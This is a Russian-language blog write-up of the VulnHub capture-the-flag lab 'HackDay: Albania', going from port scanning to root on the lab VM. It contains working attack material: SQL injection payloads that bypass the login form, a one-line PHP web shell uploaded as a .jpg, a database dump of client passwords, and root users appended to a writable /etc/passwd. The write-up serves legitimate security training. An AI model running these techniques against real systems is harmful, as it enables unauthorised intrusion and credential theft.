...

воскресенье, 18 декабря 2016 г.

VulnHub Разбор HackDay: Albania

Продолжаем разбор лаб с VulnHub. На этот раз займемся HackDay: Albania. К образу имеется следующее описание, из которого видно, что это таск с HackDay Albania's 2016 CTF
This was used in HackDay Albania's 2016 CTF.
The level is beginner to intermediate.
It uses DHCP.
Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.

Таск как и прошлый рассчитан на новичков. Поэтому в некоторые моменты в статье будут рассмотрены более подробно.

Начнём


Запускаем скачанный образ в VirtualBox, и после загрузки nmap'ом ищем открытые порты:
sudo nmap 192.168.1.1-255 -sV

Starting Nmap 7.01 ( nmap.org ) at 2016-12-18 00:03 MSK
Nmap scan report for 192.168.1.44
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Переходим по 192.168.1.44:8008 видим всплывающее окно

И коммент в коде страницы:

OK ok, por jo ketu :)

Посмотрим содержимое файла robots.txt
robots.txt
Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/

Попробовав перейти зайти в одну из этих директорий нам открывается файл index.html, с вот такой картинкой:


background.jpg

Воспользовавшись переводчиком, понимаем что это не та директория. Для проверки всех, воспользуемся следующим скриптом для dirsearch.

Запускаем:

sudo python3 robotscan.py -u http://ift.tt/2hGZy8x -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt


После завершения сканирования, видим что в одной из директорий /unisxcudkqjydw/ отсутствует файл background.jpg

После перехода в эту директорию в браузере видим такой ответ:

IS there any /vulnbank/ in there ???

Смотрим содержимое директории /vulnbank/ и далее попадаем на страницу авторизации:

Проверяем наличие sql инъекций:

sudo sqlmap -u 'http://ift.tt/2hvysmD' --data='username=admin&password=admin' --random-agent --level=5 --risk=3

И получаем ответ:
sqlmap resumed the following injection point(s) from stored session:
— Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin' RLIKE (SELECT (CASE WHEN (9555=9555) THEN 0x61646d696e ELSE 0x28 END))-- pSKE&password=admin

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin


Попытки сдампить содержимое таблиц к успеху не привели, sqlmap на всё выдавал ошибку: [CRITICAL] unable to retrieve the number of database users.

Пробуем вручную выполнить запрос с данными: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin

И нас неожиданно редиректит в профиль какого-то пользователя:

Скрытый текст


Отлично! Нам доступна возможность загрузки файла, пробуем что-то залить, и в ответ получаем сообщение:
After we got hacked we our allowing only image files to upload such as jpg, jpeg, bmp etc...

Ок, создаём файл
shell.jpg
<?php system($_GET['cmd']); ?>


Заливаем, и получаем сообщение, что всё прошло успешно. Загруженный файл попадает в директорию upload, а так же доступен по ссылке:

192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.jpg&cmd=id.

Но вместо заветного шела получаем сообщение:

Warning: system(): Unable to fork [id] in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpg on line 1

Попробовав несколько вариантов, обнаруживаем, что перед нами самый обычный php инклуд, без возможности выполнить системные команды.
Плюшки при работе с php shell
Заливаем через форму отправки тикетов шелл b374k
Запускаем BurpSuite и настраиваем там правило:

P.S. без него BurpSuite каждый раз будет к запросу view_file.php?filename=myShell.jpg добавлять ?filename=myShell.jpg что приведёт к ошибкам.

Запускаем наш шелл, и переименовываем файл upload/myShell.jpg в upload/myShell.php.
Больше BurpSuite нам не понадобится. теперь шелл у нас доступен по адресу: 192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/upload/myShell.php


Можем вытянуть из БД клиентов и их пароли:
Скрытый текст
function execute_query($sql){
        $db_host = "127.0.0.1";
        $db_name = "bank_database";
        $db_user = "root";
        $db_password = "NuCiGoGo321";
        $con=mysqli_connect($db_host,$db_user,$db_password,$db_name);
        if(mysqli_connect_errno()){
          echo "Failed to connect to MySQL: " . mysqli_connect_error();
          die(0);
          }
         $response = mysqli_query($con,$sql);
         mysqli_close($con);
         return $response;
}
$result = execute_query("SELECT * FROM klienti;");
while($row = $result->fetch_assoc()) { print_r($row); }


Просматривая файлы и директории обнаруживаем такую запись:
passwd 1.58 KB root:root -rw-r--rw- 22-Oct-2016 17:21:42

Отлично, мы можем создать пользователя. Создаём свой хеш пароля admin:
openssl passwd -1 -salt xyz admin

Далее вставляем через имеющийся у нас шелл вставляем в файл /etc/passwd такую запись
gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash
admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash

P.S. Добавляем двух пользователей, потому что коннект по ssh от рута у нас не был доступен. Можно было добавить только рута, и все остальные действия делать залогинившись в виртуалке, но мне удобнее ssh.

Коннектимся по ssh под пользователем gh0st3rs, далее выполняем команду

su admin

И после ввода пароля, получаем root привилегии на этой виртуальной машине

Дело за малым, осталось найти флаг.

root@hackday:/# find / -name "*flag*"
root@hackday:/# cat /root/flag.txt
Urime, 
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5
root@hackday:/# 

P.S. После расшифровки, узнаём что флаг это md5 от rio

Комментарии (0)

    Let's block ads! (Why?)

    Комментариев нет:

    Отправить комментарий